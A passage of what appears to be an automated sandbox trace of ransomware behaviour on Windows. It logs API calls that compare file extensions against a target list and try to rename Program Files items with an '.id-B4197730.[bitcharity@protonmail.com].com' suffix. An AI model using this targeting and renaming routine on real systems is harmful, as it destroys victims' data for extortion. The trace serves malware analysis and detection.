lpString2=".dll") returned -1 [0244.196] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll") returned 61 [0244.196] lstrlenW (lpString=".1cd") returned 4 [0244.196] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0244.196] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll") returned 61 [0244.196] lstrlenW (lpString=".jpg") returned 4 [0244.196] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0244.196] lstrcmpiW (lpString1=".mui", lpString2=".com") returned 1 [0244.196] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0244.196] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\th-TH\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\th-th\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x117c [0244.356] GetFileSizeEx (in: hFile=0x117c, lpFileSize=0x376ff14 | out: lpFileSize=0x376ff14*=9728) returned 1 [0244.356] CloseHandle (hObject=0x117c) returned 1 [0244.356] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\th-TH\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\th-th\\tipresx.dll.mui")) returned 0x20 [0244.356] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\th-TH\\tipresx.dll.mui.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\th-th\\tipresx.dll.mui.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0244.356] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\th-TH\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\th-th\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.356] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\th-TH\\tipresx.dll.mui") returned 72 [0244.356] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\th-TH\\tipresx.dll.mui") returned 72 [0244.356] lstrlenW (lpString=".doc") returned 4 [0244.357] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0244.357] lstrlenW (lpString=".docx") returned 5 [0244.357] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0244.357] lstrlenW (lpString=".pdf") returned 4 [0244.357] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0244.357] lstrlenW (lpString=".xls") returned 4 [0244.357] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0244.357] lstrlenW (lpString=".xlsx") returned 5 [0244.357] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0244.357] lstrlenW (lpString=".ppt") returned 4 [0244.357] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0244.357] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\th-TH\\tipresx.dll.mui") returned 72 [0244.357] lstrlenW (lpString=".zip") returned 4 [0244.357] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0244.357] lstrlenW (lpString=".rar") returned 4 [0244.357] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0244.357] lstrlenW (lpString=".bz2") returned 4 [0244.357] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0244.357] lstrlenW (lpString=".7z") returned 3 [0244.357] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0244.357] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\th-TH\\tipresx.dll.mui") returned 72 [0244.357] lstrlenW (lpString=".dbf") returned 4 [0244.357] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0244.357] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\th-TH\\tipresx.dll.mui") returned 72 [0244.357] lstrlenW (lpString=".1cd") returned 4 [0244.357] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0244.357] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\th-TH\\tipresx.dll.mui") returned 72 [0244.357] lstrlenW (lpString=".jpg") returned 4 [0244.357] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0244.357] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\th-TH\\tipresx.dll.mui") returned 72 [0244.358] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\th-TH\\tipresx.dll.mui") returned 72 [0244.358] lstrlenW (lpString=".doc") returned 4 [0244.358] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0244.358] lstrlenW (lpString=".docx") returned 5 [0244.358] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0244.358] lstrlenW (lpString=".pdf") returned 4 [0244.358] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0244.358] lstrlenW (lpString=".xls") returned 4 [0244.358] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0244.358] lstrlenW (lpString=".xlsx") returned 5 [0244.358] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0244.358] lstrlenW (lpString=".ppt") returned 4 [0244.358] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0244.358] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\th-TH\\tipresx.dll.mui") returned 72 [0244.358] lstrlenW (lpString=".zip") returned 4 [0244.358] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0244.358] lstrlenW (lpString=".rar") returned 4 [0244.358] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0244.358] lstrlenW (lpString=".bz2") returned 4 [0244.358] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0244.358] lstrlenW (lpString=".7z") returned 3 [0244.358] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0244.358] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\th-TH\\tipresx.dll.mui") returned 72 [0244.358] lstrlenW (lpString=".dbf") returned 4 [0244.358] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0244.358] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\th-TH\\tipresx.dll.mui") returned 72 [0244.358] lstrlenW (lpString=".1cd") returned 4 [0244.358] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0244.358] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\th-TH\\tipresx.dll.mui") returned 72 [0244.358] lstrlenW (lpString=".jpg") returned 4 [0244.358] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0244.359] lstrcmpiW (lpString1=".mui", lpString2=".com") returned 1 [0244.359] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0244.359] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\uk-UA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\uk-ua\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x117c [0244.365] GetFileSizeEx (in: hFile=0x117c, lpFileSize=0x376ff14 | out: lpFileSize=0x376ff14*=10240) returned 1 [0244.365] CloseHandle (hObject=0x117c) returned 1 [0244.365] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\uk-UA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\uk-ua\\tipresx.dll.mui")) returned 0x20 [0244.365] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\uk-UA\\tipresx.dll.mui.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\uk-ua\\tipresx.dll.mui.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0244.366] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\uk-UA\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\uk-ua\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.366] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\uk-UA\\tipresx.dll.mui") returned 72 [0244.366] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\uk-UA\\tipresx.dll.mui") returned 72 [0244.366] lstrlenW (lpString=".doc") returned 4 [0244.366] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0244.366] lstrlenW (lpString=".docx") returned 5 [0244.366] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0244.366] lstrlenW (lpString=".pdf") returned 4 [0244.366] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0244.366] lstrlenW (lpString=".xls") returned 4 [0244.366] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0244.366] lstrlenW (lpString=".xlsx") returned 5 [0244.366] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0244.366] lstrlenW (lpString=".ppt") returned 4 [0244.366] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0244.366] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\uk-UA\\tipresx.dll.mui") returned 72 [0244.366] lstrlenW (lpString=".zip") returned 4 [0244.366] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0244.367] lstrlenW (lpString=".rar") returned 4 [0244.367] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0244.367] lstrlenW (lpString=".bz2") returned 4 [0244.367] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0244.367] lstrlenW (lpString=".7z") returned 3 [0244.367] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0244.367] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\uk-UA\\tipresx.dll.mui") returned 72 [0244.367] lstrlenW (lpString=".dbf") returned 4 [0244.367] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0244.367] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\uk-UA\\tipresx.dll.mui") returned 72 [0244.367] lstrlenW (lpString=".1cd") returned 4 [0244.367] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0244.367] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\uk-UA\\tipresx.dll.mui") returned 72 [0244.367] lstrlenW (lpString=".jpg") returned 4 [0244.367] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0244.367] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\uk-UA\\tipresx.dll.mui") returned 72 [0244.367] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\uk-UA\\tipresx.dll.mui") returned 72 [0244.367] lstrlenW (lpString=".doc") returned 4 [0244.367] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0244.367] lstrlenW (lpString=".docx") returned 5 [0244.367] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0244.367] lstrlenW (lpString=".pdf") returned 4 [0244.367] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0244.367] lstrlenW (lpString=".xls") returned 4 [0244.367] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0244.367] lstrlenW (lpString=".xlsx") returned 5 [0244.367] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0244.367] lstrlenW (lpString=".ppt") returned 4 [0244.367] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0244.367] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\uk-UA\\tipresx.dll.mui") returned 72 [0244.368] lstrlenW (lpString=".zip") returned 4 [0244.368] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0244.368] lstrlenW (lpString=".rar") returned 4 [0244.368] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0244.368] lstrlenW (lpString=".bz2") returned 4 [0244.368] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0244.368] lstrlenW (lpString=".7z") returned 3 [0244.368] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0244.368] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\uk-UA\\tipresx.dll.mui") returned 72 [0244.368] lstrlenW (lpString=".dbf") returned 4 [0244.368] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0244.368] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\uk-UA\\tipresx.dll.mui") returned 72 [0244.368] lstrlenW (lpString=".1cd") returned 4 [0244.368] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0244.368] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\uk-UA\\tipresx.dll.mui") returned 72 [0244.368] lstrlenW (lpString=".jpg") returned 4 [0244.368] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0244.368] lstrcmpiW (lpString1=".mui", lpString2=".com") returned 1 [0244.368] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0244.368] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-TW\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-tw\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x117c [0244.371] GetFileSizeEx (in: hFile=0x117c, lpFileSize=0x376ff14 | out: lpFileSize=0x376ff14*=7168) returned 1 [0244.371] CloseHandle (hObject=0x117c) returned 1 [0244.371] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-TW\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-tw\\tipresx.dll.mui")) returned 0x20 [0244.371] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-TW\\tipresx.dll.mui.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-tw\\tipresx.dll.mui.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0244.371] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-TW\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\zh-tw\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.371] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-TW\\tipresx.dll.mui") returned 72 [0244.371] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-TW\\tipresx.dll.mui") returned 72 [0244.372] lstrlenW (lpString=".doc") returned 4 [0244.372] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0244.372] lstrlenW (lpString=".docx") returned 5 [0244.372] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0244.372] lstrlenW (lpString=".pdf") returned 4 [0244.372] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0244.372] lstrlenW (lpString=".xls") returned 4 [0244.372] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0244.372] lstrlenW (lpString=".xlsx") returned 5 [0244.372] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0244.372] lstrlenW (lpString=".ppt") returned 4 [0244.372] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0244.372] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-TW\\tipresx.dll.mui") returned 72 [0244.372] lstrlenW (lpString=".zip") returned 4 [0244.372] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0244.372] lstrlenW (lpString=".rar") returned 4 [0244.372] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0244.372] lstrlenW (lpString=".bz2") returned 4 [0244.372] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0244.372] lstrlenW (lpString=".7z") returned 3 [0244.372] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0244.372] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-TW\\tipresx.dll.mui") returned 72 [0244.372] lstrlenW (lpString=".dbf") returned 4 [0244.372] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0244.373] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-TW\\tipresx.dll.mui") returned 72 [0244.373] lstrlenW (lpString=".1cd") returned 4 [0244.373] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0244.373] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-TW\\tipresx.dll.mui") returned 72 [0244.373] lstrlenW (lpString=".jpg") returned 4 [0244.373] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0244.373] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-TW\\tipresx.dll.mui") returned 72 [0244.373] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-TW\\tipresx.dll.mui") returned 72 [0244.373] lstrlenW (lpString=".doc") returned 4 [0244.373] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0244.373] lstrlenW (lpString=".docx") returned 5 [0244.373] lstrcmpiW (lpString1=".docx", lpString2="l.mui") returned -1 [0244.373] lstrlenW (lpString=".pdf") returned 4 [0244.373] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0244.373] lstrlenW (lpString=".xls") returned 4 [0244.373] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0244.373] lstrlenW (lpString=".xlsx") returned 5 [0244.373] lstrcmpiW (lpString1=".xlsx", lpString2="l.mui") returned -1 [0244.373] lstrlenW (lpString=".ppt") returned 4 [0244.373] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0244.373] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-TW\\tipresx.dll.mui") returned 72 [0244.373] lstrlenW (lpString=".zip") returned 4 [0244.373] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0244.373] lstrlenW (lpString=".rar") returned 4 [0244.373] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0244.373] lstrlenW (lpString=".bz2") returned 4 [0244.373] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0244.373] lstrlenW (lpString=".7z") returned 3 [0244.373] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0244.373] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-TW\\tipresx.dll.mui") returned 72 [0244.374] lstrlenW (lpString=".dbf") returned 4 [0244.374] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0244.374] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-TW\\tipresx.dll.mui") returned 72 [0244.374] lstrlenW (lpString=".1cd") returned 4 [0244.374] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0244.374] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\zh-TW\\tipresx.dll.mui") returned 72 [0244.374] lstrlenW (lpString=".jpg") returned 4 [0244.374] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0244.374] lstrcmpiW (lpString1=".exe", lpString2=".com") returned 1 [0244.374] lstrlenW (lpString="msinfo32.exe") returned 12 [0244.374] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\msinfo32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\msinfo32.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1174 [0244.443] GetFileSizeEx (in: hFile=0x1174, lpFileSize=0x376ff14 | out: lpFileSize=0x376ff14*=370176) returned 1 [0244.443] CloseHandle (hObject=0x1174) returned 1 [0244.443] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\msinfo32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\msinfo32.exe")) returned 0x20 [0244.443] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\msinfo32.exe.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\msinfo32.exe.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0244.443] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\msinfo32.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\msinfo\\msinfo32.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0244.443] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\msinfo32.exe") returned 66 [0244.443] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\msinfo32.exe") returned 66 [0244.444] lstrlenW (lpString=".doc") returned 4 [0244.444] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0244.444] lstrlenW (lpString=".docx") returned 5 [0244.444] lstrcmpiW (lpString1=".docx", lpString2="2.exe") returned -1 [0244.444] lstrlenW (lpString=".pdf") returned 4 [0244.444] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0244.444] lstrlenW (lpString=".xls") returned 4 [0244.444] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0244.444] lstrlenW (lpString=".xlsx") returned 5 [0244.444] lstrcmpiW (lpString1=".xlsx", lpString2="2.exe") returned -1 [0244.444] lstrlenW (lpString=".ppt") returned 4 [0244.444] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0244.444] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\msinfo32.exe") returned 66 [0244.444] lstrlenW (lpString=".zip") returned 4 [0244.444] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0244.444] lstrlenW (lpString=".rar") returned 4 [0244.444] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0244.444] lstrlenW (lpString=".bz2") returned 4 [0244.444] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0244.444] lstrlenW (lpString=".7z") returned 3 [0244.444] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0244.444] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\MSInfo\\msinfo32.exe") returned 66 [0244.444] lstrlenW (lpString=".dbf") returned 4 [0244.444] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0244.975] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa", dwFileAttributes=0x20) returned 1 [0251.416] MoveFileW (lpExistingFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\classes.jsa"), lpNewFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\classes.jsa.id-b4197730.[bitcharity@protonmail.com].com")) returned 0 [0251.417] SetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\classes.jsa", dwFileAttributes=0x20) returned 1 [0251.417] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.418] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.418] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest1-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest1-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.418] CloseHandle (hObject=0x1194) returned 1 [0251.419] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.419] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.419] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest2-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.419] CloseHandle (hObject=0x1194) returned 1 [0251.421] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.421] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.421] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ppd.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest2-ppd.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.421] CloseHandle (hObject=0x1194) returned 1 [0251.422] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.422] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.422] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest2-ul-oob.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest2-ul-oob.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.422] CloseHandle (hObject=0x1194) returned 1 [0251.423] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.423] SetFilePointerEx (in: hFile=0x1194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x376fec0 | out: lpNewFilePointer=0x0) returned 1 [0251.424] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\O365HomePremR_SubTest3-pl.xrm-ms.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\o365homepremr_subtest3-pl.xrm-ms.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0251.424] CloseHandle (hObject=0x1194) returned 1 [0251.425] 